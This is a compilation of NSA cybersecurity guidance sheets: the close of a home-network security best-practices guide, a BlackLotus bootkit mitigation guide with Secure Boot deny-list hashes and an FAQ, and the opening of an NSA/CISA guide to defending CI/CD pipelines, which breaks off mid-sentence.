Regular reboots help to remove +implants and ensure security. For more guidance on better protecting your smartphone, +refer to the +Mobile Device Best Practices + CSI. +Ensure confidentiality during telework +The security of your home network can directly affect not only your personal +information, but also your work information and networks when teleworking. Using a +virtual private network (VPN) to remotely connect to your internal corporate network via +a secure tunnel is one solution for securely accessing work information. This provides +an added layer of security while allowing you to take advantage of services normally +offered to on-site users. For more guidance on securing your VPN, refer to the +Selecting and Hardening Remote Access VPN Solutions + cybersecurity information +guidance (CSI). +When connecting to other work services, such as websites and cloud-based office apps, +be sure that it is also through a secure tunnel by checking for a lock icon on the web +browser +s address bar. If you utilize commercial collaboration services, choose one that +provides strong encryption, preferably end-to-end encryption. For an in-depth look at +some commercial collaboration platforms refer to the +Selecting and Safely Using +Collaboration Services for Telework + CSI. +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Recommendations for online behavior +Spearphishing, malicious ads, email attachments, and untrusted applications can +present concerns for home Internet users. To avoid revealing sensitive information, +abide by the following guidelines while accessing the Internet. +Follow email best practices +Email is a potential attack vector for hackers. The following recommendations help +reduce exposure to threats: +Avoid opening attachments or links from unsolicited emails. Exercise cyber +hygiene; do not open unknown emails or click on their attachments or web links. +Check the identity of the sender via secondary methods (phone call, in-person) +and delete the email if verification fails. For those emails with embedded links, +open a browser and navigate to the web site directly by its well-known web +address or search for the site using an Internet search engine. +To prevent reusing any compromised passwords, use a different password for +each account. Consider using a password manager to create and remember +strong, unique passwords. +Avoid using the out-of-office message feature unless it is necessary. Make it +harder for unknown parties to learn about your activities or status. +Always use secure email protocols, particularly if using a wireless network. +Configure your email client to use the transport layer security (TLS) option +(Secure IMAP or Secure POP3) to encrypt your email in transit between the mail +server and your device. +Never open emails that make outlandish claims or offers that are +too good to be +true. +Upgrade to a modern browser and keep it up-to-date +Modern browsers are much better at prompting users when security features are not +enabled or used. Modern browsers help protect the confidentiality of sensitive +information in transit over the Internet. The browser should be kept up-to-date. When +conducting activities such as account logins and financial transactions, the browser +URL tab indicates that transit security is in place, usually with a lock icon. +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Take precautions on social networking sites +Social networking sites are a convenient means for sharing personal information with +family and friends. However, this convenience also brings a level of risk. To protect +yourself, refer to the +Keeping Safe on Social Media + CSI guidance and do the following: +Avoid posting information, such as addresses, phone numbers, places of +employment, and other personal information, that can be used to target or harass +you. Some scam artists use this information, along with pet names, first car make +or model, and streets you have lived on, to figure out answers to account security +questions. +Limit access of your information to +friends only + and verify any new friend +requests outside of social networking. +Be cautious of duplicate or copycat profiles of current friends, family, or +coworkers. Malicious actors may use impersonated accounts to query you for +privileged information or target you for spearphishing. +Review the security policies and settings available from your social network +provider quarterly or when the site +s Terms of Use policy changes, as the +defaults can change. Opt-out of exposing personal information to search +engines. +Take precautions concerning unsolicited requests and links. Adversaries may +attempt to get you to click on a link or download an attachment that may contain +malicious software. +Authentication safeguards +Enable strong authentication on your router. Protect your login passwords and +take steps to minimize misuse of password recovery options. +Disable features that allow web sites or programs to remember passwords. Use +a password manager instead. +Many online sites use password recovery or challenge questions. To prevent an +attacker from leveraging personal information to answer challenge questions, +consider providing a false answer to a fact-based question, assuming the +response is unique and memorable. +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Use multi-factor authentication (MFA) whenever possible. Examples of multifactor authentication include secondary confirmation phone/email, security +questions, and app/device-based identification. Some forms of MFA, such as +app/device-based identification, are more secure and should be used over less +secure methods, such as confirmation phone/email. When available, prefer using +phishing-resistant MFA options. +Exercise caution when accessing public hotspots +Many establishments, such as coffee shops, hotels, and airports, offer wireless hotspots +or kiosks for customers to access the Internet. Because the underlying infrastructure of +these is unknown and security may be weak, public hotspots are more susceptible to +malicious activity. If you must access the Internet while away from home, avoid direct +use of public wireless. When possible, use a corporate or personal Wi-Fi hotspot with +strong authentication and encryption. If public access is necessary, refer to +Securing +Wireless Devices in Public Settings + CSI for guidance and do the following: +If possible, use the cellular network (that is, mobile Wi-Fi, 4G, or 5G services) to +connect to the Internet instead of public hotspots. This option generally requires +a service plan with a cellular provider. +If you must use public Wi-Fi, use a trusted VPN. This option can protect your +connection from malicious activities and monitoring. +Exercise physical security in the public place. Do not leave devices unattended. +Do not exchange home and work content +The exchange of information between home systems and work systems via email or +removable media may put work systems at an increased risk of compromise. Ideally, +use organization-provided equipment and accounts to conduct work while away from +the office. If using a personal device, such as through a Bring Your Own Device (BYOD) +program, use corporate-mandated security products and guidance for accessing +corporate resources and networks. Try to connect to a remote desktop or terminal +server inside the corporate network rather than make copies of files and transport them +between devices. Avoid using personal accounts and resources for business +interactions. Always use a VPN or other secure channel to connect to corporate +networks and services to ensure your data is secured through encryption. +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Use separate devices for different activities +Establish a level of trust based on a device +s security features and its usage. Consider +segregating tasks by dividing them between devices dedicated to different purposes. +For example, one device may be for financial/personally identifiable information (PII) +use and another for games or entertainment for children. +Additional guidance +NSA cybersecurity guidance: + Mobile Device Best Practices + Secure Collaboration Platforms + Compromised Personal Network Indicators and Mitigations + NSA +s Top Ten Cybersecurity Mitigation Strategies + Phishing resistant MFA + Keeping Safe on Social Media + Securing Wireless Devices in Public +General topics: + National Information Assurance Partnership +Standards: + NIST SP 800-124 Guidelines for Managing the Security of Mobile Devices in the +Enterprise + NIST SP 800-63 Digital Identity Guidelines +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference +herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not +constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be +used for advertising or product endorsement purposes. +Trademarks +Blu-ray is a trademark of Blu-ray Disc Association. +Purpose +This document was developed in furtherance of NSA +s cybersecurity missions, including its responsibilities to identify and +disseminate threats to National Security Systems, Department of Defense, and Defense Industrial Base information systems, and to +develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +Contact +General cybersecurity inquiries: CybersecurityReports@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +National Security Agency | Cybersecurity Information +BlackLotus Mitigation Guide +Executive summary +BlackLotus is a recently publicized malware product garnering significant attention within tech +media. Similar to 2020 +s BootHole (CVE-2020-10713), BlackLotus takes advantage of a boot +loader flaw +specifically CVE-2022-21894 Secure Boot bypass known as +Baton Drop +take control of an endpoint from the earliest phase of software boot. Microsoft + issued patches +for supported versions of Windows to correct boot loader logic. However, patches were not +issued to revoke trust in unpatched boot loaders via the Secure Boot Deny List Database +(DBX). Administrators should not consider the threat fully remediated as boot loaders +vulnerable to Baton Drop are still trusted by Secure Boot. +As described in this Cybersecurity Information Sheet (CSI), NSA recommends infrastructure +owners take action by hardening user executable policies and monitoring the integrity of the +boot partition. An optional advanced mitigation is to customize Secure Boot policy by adding +DBX records to Windows + endpoints or removing the Windows Production CA certificate from +Linux + endpoints. +BlackLotus boot security threat +NSA recognizes significant confusion regarding the threat posed by BlackLotus. Some +organizations use terms like +unstoppable, +unkillable, + and +unpatchable + to describe the +threat. Other organizations believe there is no threat due to patches that Microsoft released in +January 2022 and early 2023 for supported versions of Windows. [1] The risk exists +somewhere between both extremes. +BlackLotus shares some characteristics with Boot Hole (CVE-2020-10713). [2] Instead of +breaking the Linux boot security chain, BlackLotus targets Windows boot by exploiting a flaw in +older boot loaders +also called boot managers +to set off a chain of malicious actions that +compromise endpoint security. Exploitation of Baton Drop (CVE-2022-21894) allows +BlackLotus to strip the Secure Boot policy and prevent its enforcement. Unlike Boot Hole, the +vulnerable boot loaders have not been added to the Secure Boot DBX revocation list. Because +the vulnerable boot loaders are not listed within the DBX, attackers can substitute fully patched +boot loaders with vulnerable versions to execute BlackLotus. +NSA recommends system administrators within DoD and other networks take action. +BlackLotus is not a firmware threat, but instead targets the earliest software stage of boot. +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +Defensive software solutions can be configured to detect and prevent the installation of the +BlackLotus payload or the reboot event that starts its execution and implantation. NSA +believes that currently published patches could provide a false sense of security for some +infrastructures. Because BlackLotus integrates Shim and GRUB into its implantation routine, +Linux administrators should also be vigilant for variants affecting popular Linux distributions. +Mitigation recommendations +Action 1: Update recovery media and activate optional mitigations +Recommended for all Windows infrastructures. Not applicable to Linux infrastructures. +NSA recommends Windows administrators install the latest security patches for their +endpoints. Microsoft patches from May 2023 contain optional software mitigations to prevent +rollback of the boot manager and kernel to versions vulnerable to Baton Drop and BlackLotus. +The optional mitigations + including a Code Integrity Boot Policy + should be enabled after the +organization has updated its Windows installation, recovery, and diagnostic software to the +latest available versions. [3] +Infrastructure administrators should note that Windows 10 and 11 have applicable security +updates and ongoing mitigation deployments for BlackLotus. Older, unsupported Windows +versions will not receive the full complement of BlackLotus mitigation measures. Windows +infrastructures should migrate to supported versions of Windows if running an unsupported +release. [3] +Action 2: Harden defensive policies +Recommended for all infrastructures. The malware install process for BlackLotus places an +older Windows boot loader Extensible Firmware Interface (EFI) binary into the boot partition, +disables Memory Integrity, disables BitLocker, and reboots the device. Many endpoint security +products (e.g., Endpoint Detection and Response, host-based security suites, user-monitoring +packages) can be configured to block one or more of these events outside of a legitimate, +scheduled update. Configure defensive software to scrutinize changes to the EFI boot partition +in particular. Alternatively, leverage application allow lists to permit only known and trusted +executables. +Action 3: Monitor device integrity measurements and boot configuration +Recommended for most infrastructures. Many endpoint security products and firmware +monitoring tools provide integrity-scanning features. Configure these products and tools to +monitor the composition of the EFI boot partition. Leverage these tools to look for unexpected +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +changes in bootmgfw.efi, bootmgr.efi, or the introduction of additional unexpected EFI binaries +(e.g., shimx64.efi or grubx64.efi). Changes to the boot partition are infrequent and warrant +additional scrutiny. +If unexpected changes are detected within the EFI boot partition, prevent the device from +rebooting. Endpoint and host defensive suites may allow creating rules or triggers that can be +paired with group policies to temporarily restrict reboot. Remediate the boot partition to a +known good state before permitting reboot. A reboot will execute EFI binaries and can implant +BlackLotus. +Microsoft has published specific information regarding the staging of BlackLotus components, +alterations to Windows registry values, and network indicators. Full specifics can be found at +the Microsoft Incident Response blog. [4] +Action 4: Customize UEFI Secure Boot +4.A. Instructions for Windows infrastructures. Expertly administered and exposed +infrastructures only. Not recommended due to limited long-term effectiveness. +BlackLotus relies upon older (pre-January 2022), signed Windows boot loader images to +implant a system. Secure Boot can be updated with DBX deny list hashes that prevent +executing older and vulnerable boot loaders. Public reporting [5] provides indications as to +which boot managers are observed exploited in the wild. In 2020, NSA published "UEFI +Secure Boot Customization" to provide guidance on modifying Secure Boot. Adding DBX +hashes qualifies as a partial customization action covered in section 4 "Customization," +starting on page 7, and continuing through section 4.4.3 +Update the DB or DBX. + [6] +Additionally, a GitHub.com repository has been set up with some helpful scripts and guides to +accomplish customization. [7] +Note: Adding boot loader hashes to the DBX may render many Windows install and recovery +images, discs, and removable media drives unbootable. Microsoft provides updated install and +recovery images for Windows 11 and 10. Only update the DBX after acquiring install and +recovery media with the January 2022 or later patch assortment applied (e.g., version 22H1 or +newer). +Warning: The following DBX hashes may be combined with the Secure Boot Customization +steps to revoke trust in select boot loaders vulnerable to Baton Drop. [6] However, more +vulnerable boot loaders exist than the DBX can contain. BlackLotus developers can rapidly +switch to alternate vulnerable boot loaders to evade DBX customization. Mitigating BlackLotus +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +via DBX updates is not recommended. Action 1 +s patches and optional mitigations are +recommended instead. +Table: DBX hashes +UEFI Secure Boot DBX Hashes +B22A7B3CEBB32C80C36EAABB6F77D164AE8B76BF161F423B6E2FBF9DCBC96C02 +D355041DFBA41F8AE2CE6766ECBC88C93A743FC74F95E7E7AA3EF32CA6E4B390 +D9F629F6D1D83AC7A15DCB1116E4B9BF128758EC2EA389AA1E0DA3B8F2951150 +53FCE58746C4B042B101B8682B4E52CE8B620D3C68F69034996E33D3DDDCA1FF +F7357DD5000E1FBADBF17CC6025243A243D1BFA705801051119277A30D717B71 +39C6475B3F00D92EEC049D8F6EFA010CB06F1240ED1CE7E40611278C73817471 +2E094D21DC457CC4826FCD48395B92DC782F978EEF8210E4B6F5E708527907FF +BFE0E68889A750E699788C11F08AFAE940770ED83C1B4A5DB27E10933B29CAD1 +4.B. Instructions for Linux infrastructures. Expertly administered and exposed +infrastructures only. +Linux system administrators may forego adding DBX hashes in favor of removing the Microsoft +Windows Production CA 2011 certificate from Secure Boot +s DB. The total number of Baton +Drop-vulnerable boot loaders signed by the key associated with the Production CA +s certificate +is thought to exceed the available DBX memory. Removing the certificate negates the need to +add DBX entries related to Baton Drop and BlackLotus. Linux administrators will still need the +Microsoft Unified Extensible Firmware Interface (UEFI) Third Party Marketplace CA 2011 +certificate to utilize Secure Boot with leading Linux distributions. [6] +Do not place the Windows Production CA 2011 certificate in the Machine Owner Key Exclusion +(MOKX) list in lieu of removing it from the DB. Utilizing MOKX in this way will cause the +revoked certificate to still be trusted between firmware initialization and the initialization of +Shim +s Secure Boot extensions. +The Windows Production CA 2011 certificate must be restored if converting the device from +Linux to Windows. Microsoft provides the certificate for download via their resources for +system manufacturers. [9] +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +Frequently asked questions +1. Is BlackLotus a firmware implant? +No. BlackLotus is boot software. The UEFI boot process involves several phases. Execution +control flow transitions from firmware to software following the Boot Device Select phase. [8] +2. Can BlackLotus be removed or quarantined? +Yes, prior to execution. Devices that boot to a BlackLotus EFI binary will need to be completely +reimaged. Attempts to remove BlackLotus following installation result in kernel errors. +3. Does BlackLotus bypass Secure Boot? +An initial bypass is followed by poisoning that configures Secure Boot to trust the malware. An +older, vulnerable boot loader that is trusted by Secure Boot is necessary to strip the Secure +Boot policy from being enforced so that BlackLotus can implant its entire software stack. +Subsequent boots extend the Microsoft UEFI signing ecosystem with a malicious BlackLotus +certificate. Thus, Secure Boot will trust the malware. +4. Which version of Windows is affected? +BlackLotus targets Windows 11 and 10. Variants may exist to target older, UEFI-booting +versions of Windows. Patches are available for Windows 8.1, 10, and 11. +5. Is Linux affected? Is there a version of BlackLotus that targets Linux? +No, not that has been identified at this time. BlackLotus does incorporate some Linux boot +binaries, but the malware targets Windows OS software. No Linux-targeting variant has been +observed. +6. Is BlackLotus really unstoppable? + BlackLotus is very stoppable on fully updated Windows endpoints, Secure Bootcustomized devices, or Linux endpoints. Microsoft has released patches and continues to +harden mitigations against BlackLotus and Baton Drop. [1], [3], [4] The Linux community may +remove the Microsoft Windows Production CA 2011 certificate on devices that exclusively boot +Linux. Mitigation options available today will be reinforced by changes to vendor Secure Boot +certificates in the future (some certificates are expiring starting in 2026). +7. Where can I find more public information? +NSA is aware of several technically deep analysis reports posted online from security +researchers and vendors. One thorough source of public information is ESET Security +s blog +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +referenced as [5] in this report. Another source of information is the Microsoft Security +Response Center. [3], [4] +8. Should I reconfigure Secure Boot? +No. Secure Boot is best left enabled in standard mode. Only advanced infrastructures and +expert administrators should engage the custom/user-defined mode. Some security software +may require additional certificates or hashes to be added to the DB allow list or DBX deny list. +No one should disable Secure Boot on an endpoint built within the past 5 years. +9. Can a Trusted Platform Module (TPM) stop BlackLotus? +No. A TPM can only detect BlackLotus. Implant boot binaries are delivered to the EFI boot +partition after the TPM has recorded boot time measurements. Upon the next reboot, the TPM +captures measurements showing a BlackLotus infection. However, a TPM can only detect +not prevent + implantation as the TPM is an observer and container of integrity indicator data. +A TPM does not have an active enforcement capability. +In a Network Access Control (NAC) infrastructure based on TPM attestation, NAC would +prevent infected machines from accessing protected resources by indicating changes in +Platform Configuration Registers (PCRs) 4-7. NAC also provides an opportunity to remediate +affected endpoints prior to connecting to a protected resource. +10. Can TPM-extended Shim / TrustedShim (T-Shim) stop BlackLotus? +No. T-Shim checks TPM measurements recorded prior to the main boot loader. Secure Boot is +responsible for enforcement following T-Shim. +11. What is Secure Boot customization? +Customization involves one of the following: +Partial customization + augmenting the Microsoft and system vendor Secure Boot +ecosystem with additional DB and DBX entries as necessary to enable signature and +hash checks on unsupported/custom software or block unwanted software. +Full customization + replacing all vendor and Microsoft certificates and hashes with +those generated and selected by the infrastructure owner (requires specialized +knowledge of hardware values). +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +12. How does BlackLotus compare to Boot Hole? +Boot Hole involved flaws in Secure Boot-signed GRUB boot loaders. A configuration file could +be created to cause buffer overflows and arbitrary code execution at boot time. Secure Boot +could be ignored and completely bypassed. +BlackLotus is sophisticated malware observed in the wild. It exploits a flaw (known as Baton +Drop) in Secure Boot-signed copies of the Windows Boot Manager to truncate the Secure Boot +policy values. Instead of stopping due to the lack DB and DBX values, the vulnerable boot +manager allows boot to continue. BlackLotus injects a version of Shim utilizing its own +Machine Owner Key (MOK) + similar to the allow list DB + to vouch for signatures on its own +malicious binaries. The result is Secure Boot remains enforcing while silently poisoned and +permitting malware to execute. +13. Why doesn +t NSA recommend setting up a custom Secure Boot +ecosystem as a mitigation? +NSA has internally piloted efforts to exclusively rely on custom certificates and hashes to +define Secure Boot policy. Pilot efforts have proven effective at preventing threats like +BlackLotus, Baton Drop, BootHole, and similar prior to discovery. However, the administrative +overhead and vendor collaboration necessary represent a resource investment not appropriate +for most enterprise infrastructures. The process of fully customizing Secure Boot is also not +capable of being automated outside of a narrow selection of workstation and server products. +14. Can Trusted eXecution Technology (TXT) stop BlackLotus? +Yes, if and only if the TPM non-volatile memory (NVRAM) policy is set to boot a specific boot +loader. In practice, setting a specific boot loader has caused administrative challenges when +handling updates that affect the EFI boot partition. TXT is not a recommended mitigation given +the likelihood to render endpoints temporarily unbootable. +15. Are virtual machines affected? +Yes. VMs boot into a virtual UEFI environment. BlackLotus targets the OS software boot +loaders that execute following the virtual firmware initialization. +Works cited +[1] Microsoft Security Response Center (2022), January 2022 Security Updates. +https://msrc.microsoft.com/update-guide/releaseNote/2022-Jan +[2] Eclypsium (2020), There +s a Hole in the Boot. https://eclypsium.com/2020/07/29/theres-a-hole-in-the-boot +[3] Microsoft Security Response Center (2023), KB5025885: How to manage the Windows Boot Manager +revocations for Secure Boot changes associated with CVE-2023-24932. +https://support.microsoft.com/help/5025885 +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +NSA | BlackLotus Mitigation Guide +[4] Microsoft Incident Response (2023), Guidance for investigating attacks using CVE-2022-21894: The +BlackLotus campaign. https://www.microsoft.com/en-us/blog/2023/04/11/guidance-for-investigatingattacks-using-cve-2022-21894-the-blacklotus-campaign +[5] Smolar, Martin (2023), BlackLotus UEFI Bootkit: Myth Confirmed. +https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed +[6] National Security Agency (2020), UEFI Secure Boot Customization [S/N: U/OO/168873-20]. +https://media.defense.gov/2020/Sep/15/2002497594/-1/-1/0/CTR-UEFI-SECURE-BOOTCUSTOMIZATION-20200915.PDF/CTR-UEFI-SECURE-BOOT-CUSTOMIZATION-20200915.PDF +[7] National Security Agency (2020), UEFI Secure Boot Customization. +https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/tree/master/secureboot +[8] Carnegie Mellon University (2022), UEFI + Terra Firma for Attackers. +https://insights.sei.cmu.edu/blog/uefi-terra-firma-for-attackers/ +[9] Microsoft (2022), Windows Secure Boot Key Creation and Management Guidance. +https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-secure-boot-keycreation-and-management-guidance +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. +Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or +otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government. This +guidance shall not be used for advertising or product endorsement purposes. +Purpose +This document was developed in furtherance of NSA +s cybersecurity missions, including its responsibilities to identify and +disseminate threats to National Security Systems, Department of Defense, and Defense Industrial Base information systems, +and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all +appropriate stakeholders. +Contact +Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov +U/OO/167397-23 | PP-23-1628 | JUN 2023 Ver. 1.0 +National +Security +Agency +Cybersecurity and +Infrastructure +Security Agency +TLP:CLEAR +| Cybersecurity Information +Defending Continuous Integration/Continuous +Delivery (CI/CD) Environments +Executive summary +The National Security Agency (NSA) and the Cybersecurity and Infrastructure Security +Agency (CISA) are releasing this cybersecurity information sheet (CSI) to provide +recommendations and best practices for improving defenses in cloud implementations +of development, security, and operations (DevSecOps). This CSI explains how to +integrate security best practices into typical software development and operations +(DevOps) Continuous Integration/Continuous Delivery (CI/CD) environments, without +regard for the specific tools being adapted, and leverages several forms of government +guidance to collect and present proper security and privacy controls to harden CI/CD +cloud deployments. As evidenced by increasing compromises over time, software +supply chains and CI/CD environments are attractive targets for malicious cyber actors +(MCAs). Figure 1 provides a high-level representation of threats to various parts of the +CI/CD pipeline. +Figure 1: Threats to the CI/CD pipeline +This document is marked TLP:CLEAR. Disclosure is not limited. Recipients may distribute TLP:CLEAR information +without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Contents +Defending Continuous Integration/Continuous Delivery (CI/CD) Environments .............. 1 +Executive summary ......................................................................................................... 1 +Introduction ..................................................................................................................... 4 +Key terms ........................................................................................................................ 5 +CI/CD security threats ..................................................................................................... 6 +Attack surface ................................................................................................................. 6 +Insecure code .............................................................................................................. 7 +Poisoned pipeline execution ........................................................................................ 7 +Insufficient pipeline access controls............................................................................. 7 +Insecure system configuration ..................................................................................... 7 +Usage of third-party services ....................................................................................... 7 +Exposure of secrets ..................................................................................................... 8 +Threat scenarios ............................................................................................................. 8 +Active hardening ............................................................................................................. 9 +Authentication and access mitigations ....................................................................... 10 +Use NSA-recommended cryptography................................................................... 10 +Minimize the use of long-term credentials .............................................................. 10 +Add signature to CI/CD configuration and verify it.................................................. 10 +Utilize two-person rules (2PR) for all code updates ............................................... 11 +Implement least-privilege policies for CI/CD access .............................................. 11 +Secure user accounts ............................................................................................ 12 +Secure secrets ....................................................................................................... 12 +Implement network segmentation and traffic filtering ............................................. 12 +Development environment mitigations ....................................................................... 12 +Maintain up-to-date software and operating systems ............................................. 12 +Keep CI/CD tools up-to-date .................................................................................. 13 +Remove unnecessary applications......................................................................... 13 +Implement endpoint detection and response (EDR) tools ...................................... 13 +Development process mitigations .............................................................................. 13 +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Integrate security scanning as part of the CI/CD pipeline ...................................... 13 +Restrict untrusted libraries and tools ...................................................................... 14 +Analyze committed code ........................................................................................ 14 +Remove any temporary resources ......................................................................... 14 +Keep audit logs ...................................................................................................... 14 +Implement software bill of materials (SBOM) and software composition analysis +(SCA) ..................................................................................................................... 14 +Plan, build, and test for resiliency........................................................................... 15 +Conclusion .................................................................................................................... 15 +Further guidance ........................................................................................................... 16 +Works cited ................................................................................................................... 16 +Appendix A: CI/CD threats mapped to MITRE ATT&CK ............................................... 18 +Initial Access .............................................................................................................. 18 +Execution ................................................................................................................... 19 +Persistence ................................................................................................................ 19 +Privilege Escalation ................................................................................................... 20 +Defense Evasion........................................................................................................ 21 +Credential Access ...................................................................................................... 21 +Lateral Movement ...................................................................................................... 22 +Exfiltration .................................................................................................................. 23 +Figures +Figure 1: Threats to the CI/CD pipeline ........................................................................... 1 +Figure 2: Different attack vectors in an AWS CI/CD pipeline ........................................... 9 +Figure 3: CI/CD attack vectors mapped to ATT&CK techniques and D3FEND +countermeasures .......................................................................................................... 18 +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Introduction +Continuous Integration/Continuous Delivery (CI/CD) is a development process for +quickly building and testing code changes that helps organizations maintain a consistent +code base for their applications while dynamically integrating code changes. CI/CD is a +key part of the development, security, and operations (DevSecOps) approach that +integrates security and automation throughout the development lifecycle. CI/CD +pipelines are often implemented in commercial cloud environments because of the +cloud +s role in IT modernization efforts. Organizations are constantly leveraging CI/CDfocused tools and services to securely streamline software development and manage +applications and clouds + programmable infrastructure. Therefore, CI/CD environments +are attractive targets for malicious cyber actors (MCAs) whose goals are to compromise +information by introducing malicious code into CI/CD applications, gaining access to +intellectual property/trade secrets through code theft, or causing denial of service effects +against applications. +NSA and CISA authored this CSI to provide recommendations and best practices for +hardening CI/CD pipelines against MCAs to secure DevSecOps CI/CD environments, +regardless of the tools being adapted. It outlines key risks for CI/CD deployments, using +the MITRE ATT&CK + framework to enumerate the most significant potential CI/CD +vulnerabilities based on known threats. See Appendix A for details on the tactics, +techniques, and countermeasures for the threats mapped to ATT&CK and D3FEND +NSA and CISA encourage organizations to implement the proposed mitigations to +harden their CI/CD environments and bolster organizational DevSecOps. By +implementing the proposed mitigations, organizations can reduce the number of +exploitation vectors into their CI/CD environments and create a challenging environment +for the adversary to penetrate. +This CSI utilizes several government guides to collect and present the proper security +and privacy controls to harden CI/CD environments. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Key terms +Continuous delivery (CD) is the stage after continuous integration where code +changes are deployed to a testing and/or staging environment after the build stage. +Continuous deployment is similar to continuous delivery except that the releases +happen automatically, and changes to code are available to customers immediately +after they are made. The automatic release process may in many instances include A/B +testing to facilitate slow rollout of new features, thereby mitigating the impact of failure +resulting from a bug or error. [1] +Continuous integration (CI) involves developers frequently merging code changes into +a central repository where automated builds and tests run. Build is the process of +converting the source code to executable code for the platform on which it is intended to +run. In the CI/CD pipeline software, the developer +s changes are validated by creating a +build and running automated tests against the build. This process avoids the integration +challenges that can happen when waiting for release day to merge changes into the +release branch. [1] +A CI/CD pipeline is a component of a broader toolchain that entails continuous +integration, version control, automated testing, delivery, and deployment. It automates +the integration and delivery of applications and enables organizations to deploy +applications quickly and efficiently. [2] +Development operations (DevOps) is a set of practices that combines software +development and information technology (IT) operations. It aims to shorten the systems +development lifecycle and provide continuous delivery with high software quality. +DevSecOps (DevSecOps) is an approach that integrates development (Dev), security +(Sec), and delivery/operations (Ops) of software systems to reduce the time from a +recognized need to capability availability and provide continuous integration and +continuous delivery (CI/CD) with high software quality. +A software supply chain is composed of the components, libraries, tools, and +processes used to develop, build, and publish a software artifact. Software vendors +often create products by assembling open source and commercial software +components. Software supply chains are made up of software components, such as +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +open source packages and infrastructure as code (IaC) templates, as well as underlying +delivery pipelines, such as version control systems and CI/CD pipelines. +Software composition analysis is an automated process that identifies the software in +a code base. This analysis is performed to evaluate security, license compliance, and +code quality. +CI/CD security threats +Software supply chains and CI/CD environments are attractive targets for MCAs. CI/CD +pipeline compromises are increasing. Recognizing the various types of security threats +that could affect CI/CD operations and taking steps to defend against each one are +critical to securing a CI/CD environment. Common examples of risks in CI/CD pipelines +are listed here. For a more comprehensive description, refer to the OWASP Top 10 +CI/CD Security Risks. [3] +Insecure first-party code: Code that is checked in by authorized developers but +that contains security-related bugs that are not detected by either the software +developers or by security tooling. +Insecure third-party code: Insecure code that is compiled into a CI/CD pipeline +from a third-party source, such as an open source project. +Poisoned pipeline execution: Exploitation of a development/test/production +environment that allows the attacker to insert code of its choosing. +Insufficient pipeline access controls: Unauthorized access to source code +repositories or build tools. +Insecure system configuration: Various infrastructure, network, and application +configurations vulnerable to known exploitation techniques. +Usage of insecure third-party services: Using services created by an external +individual or organization that intentionally or negligently includes security +vulnerabilities. +Exposure of secrets: Security key compromise and insecure secrets +management within the pipeline, such as hardcoding access keys or passwords +into infrastructure as code (laC) templates. +Attack surface +An insecure CI/CD pipeline can easily lead to an insecure application. Some of the +attack surfaces that MCAs can exploit are as follows: +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Insecure code +Insecure code within a CI/CD pipeline can include code defects from the authorized +developers, open source components, or third-party integrations that are not effectively +evaluated or vetted. Rapid development without proper security can introduce +vulnerabilities and expose the pipeline to critical risks. Integration of third-party code +and lack of code scanning of source code components can introduce vulnerabilities into +a CI/CD pipeline. Not following code security best practices can significantly increase +the vulnerable attack surface. Common code 